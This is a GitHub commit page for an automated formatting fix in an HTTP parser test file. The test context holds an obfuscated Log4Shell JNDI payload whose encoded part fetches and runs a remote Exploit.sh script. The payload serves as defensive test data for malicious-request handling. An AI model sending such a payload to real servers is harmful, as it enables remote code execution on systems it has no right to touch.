Skip to content

Commit

Permalink
[pre-commit.ci] auto fixes from pre-commit.com hooks
Browse files Browse the repository at this point in the history
for more information, see https://pre-commit.ci
  • Loading branch information
pre-commit-ci[bot] committed Jan 12, 2022
1 parent 372c103 commit 80a1af9
Showing 1 changed file with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion tests/http/parser/test_http_parser.py
Original file line number Diff line number Diff line change
Expand Up @@ -781,7 +781,8 @@ def test_is_safe_against_malicious_requests(self) -> None:
b'Cookie: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' +
b'\r\n\r\n')
b'\r\n\r\n',
)
self.assertEqual(
self.parser.header(b'user-agent'),
b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
Expand Down

0 comments on commit 80a1af9

Please sign in to comment.